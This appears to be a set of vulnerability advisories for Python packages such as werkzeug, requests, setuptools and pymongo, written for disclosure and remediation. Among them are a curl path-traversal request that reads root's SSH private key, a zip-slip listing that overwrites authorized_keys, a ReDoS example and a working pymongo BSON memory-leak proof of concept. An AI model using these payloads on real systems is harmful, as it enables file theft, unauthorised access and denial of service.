Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in formparser.MultiPartParser(). An attacker can cause the parser to consume more memory than the upload size, in excess of max_form_memory_size, by sending malicious data in a non-file field of a multipart/form-data request.

Remediation

Upgrade werkzeug to version 3.0.6 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Release

Overview

Affected versions of this package are vulnerable to Infinite loop where an attacker can cause the application to stop responding by initiating a loop through functions affecting the Path module, such as joinpath, the overloaded division operator, and iterdir.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade zipp to version 3.19.1 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR

Overview

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in multipart data parsing. An attacker can cause a denial of service and block worker processes from handling legitimate requests by sending crafted multipart data to an endpoint that will parse it, eventually exhausting or killing all available workers.

Exploiting this vulnerability is possible if the uploaded file starts with CR or LF and is followed by megabytes of data without these characters.

Remediation

Upgrade werkzeug to version 2.3.8, 3.0.1 or higher.

References

• GitHub Commit
• GitHub Commit

Overview

Werkzeug is a WSGI web application library.

Affected versions of this package are vulnerable to Directory Traversal due to a bypass for os.path.isabs(), which allows the improper handling of UNC paths beginning with /, in the safe_join() function. This allows an attacker to read some files on the affected server, if they are stored in an affected path.

Note: This is only exploitable on Windows systems using Python versions prior to 3.11.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade Werkzeug to version 3.0.6 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to Information Exposure by leaking Proxy-Authorization headers to destination servers during redirects to an HTTPS origin. This is a result of how rebuild_proxies is used to recompute and reattach the Proxy-Authorization header to requests when redirected.

NOTE: This behavior has only been observed to affect proxied requests when credentials are supplied in the URL user information component (e.g. https://username:password@proxy:8080), and only when redirecting to HTTPS:

1. HTTP → HTTPS: leak

2. HTTPS → HTTP: no leak

3. HTTPS → HTTPS: leak

4. HTTP → HTTP: no leak

For HTTP connections sent through the proxy, the proxy will identify the header in the request and remove it prior to forwarding to the destination server. However when sent over HTTPS, the Proxy-Authorization header must be sent in the CONNECT request as the proxy has no visibility into further tunneled requests. This results in Requests forwarding the header to the destination server unintentionally, allowing a malicious actor to potentially exfiltrate those credentials.

Workaround

This vulnerability can be avoided by setting allow_redirects to False on all calls through Requests top-level APIs, and then capturing the 3xx response codes to make a new request to the redirect destination.

Remediation

Upgrade requests to version 2.31.0 or higher.

References

• GitHub Commit
• GitHub Release
• PoC

Overview

Affected versions of this package are vulnerable to Incorrect Behavior Order in the DNS pre-processing pipeline, which allows an off-path attacker who can spoof the source IP address of a malformed DNS response packet to cause denial of service. The UDP processing functions in query.py and asyncquery.py accept the first-arriving packet before closing the receiving socket, allowing the attacker to make the remote nameserver appear unavailable for the target resolver and clients.

Remediation

Upgrade dnspython to version 2.6.1 or higher.

References

• GitHub Commit
• GitHub Issue
• Tudoor Paper

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via crafted HTML package or custom PackageIndex page.

Note:

Only a small portion of the user base is impacted by this flaw. Setuptools maintainers pointed out that package_index is deprecated (not formally, but “in spirit”) and the vulnerability isn't reachable through standard, recommended workflows.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade setuptools to version 65.5.1 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub Release
• Pyup Blog
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session. An attacker can bypass certificate verification by making the first request with verify=False, causing all subsequent requests to ignore certificate verification regardless of changes to the verify value.

Notes:

1. For requests <2.32.0, avoid setting verify=False for the first request to a host while using a Requests Session.

2. For requests <2.32.0, call close() on Session objects to clear existing connections if verify=False is used.

3. This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.

Remediation

Upgrade requests to version 2.32.2 or higher.

References

• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Out-of-bounds Read in the bson module. Using the crafted payload the attacker could force the parser to deserialize unmanaged memory. The parser tries to interpret bytes next to buffer and throws an exception with string. If the following bytes are not printable UTF-8 the parser throws an exception with a single byte.

PoC

import bson
import struct

def function(length: int) -> bytes:
    secret = b'X' * length

# variable 'secret' is deleted here but it's still stored in memory

def generate_payload(length: int) -> bytes:
    string_size = length - 0x1e

    return bytes.fromhex(
        struct.pack('<I', length).hex() + # payload size
        '0f' + # type "code with scope"
        '3100' + # key (cstring)
        '0a000000' + # c_w_s_size
        '04000000' + # code_size
        '41004200' + # code (cstring)
        'feffffff' + # scope_size
        '02' + # type "string"
        '3200' + # key (cstring)
        struct.pack('<I', string_size).hex() + # string size
        '00' * string_size # value (cstring)
# next bytes is a field name for type \x00, type \x00 is invalid so bson throws an exception
    )

def deserialize_payload(payload: bytes) -> None:
    try:
        obj = bson.decode(payload) # throws exception
        print(obj) # unreachable code
    except Exception as e:
        print(e)


print('case 1: leak the printable string')

# uses secret internally
function(0x50 + 0x0F)

# payload could be read from stdin or similar
payload = generate_payload(0x50)
deserialize_payload(payload)



print('\n case 2: leak some non-printable bytes')

for i in range(5):
    # payload could be read from stdin or similar
    payload = generate_payload(0x54f + i)
    deserialize_payload(payload)

Remediation

Upgrade pymongo to version 4.6.3 or higher.

References

• Github Commit
• Github Gist
• MongoDB Issue

Overview

validators is a package for Python Data Validation for Humans.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the torbot.modules.validators.validate_link function. An attacker can cause an application crash by using a well-crafted argument. This is due to the use of a regular expression with exponential complexity. An attacker can exploit this by using a well-crafted URL argument, causing a Denial of Service on the system.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validators to version 0.21.0 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Gist

MPL-2.0 license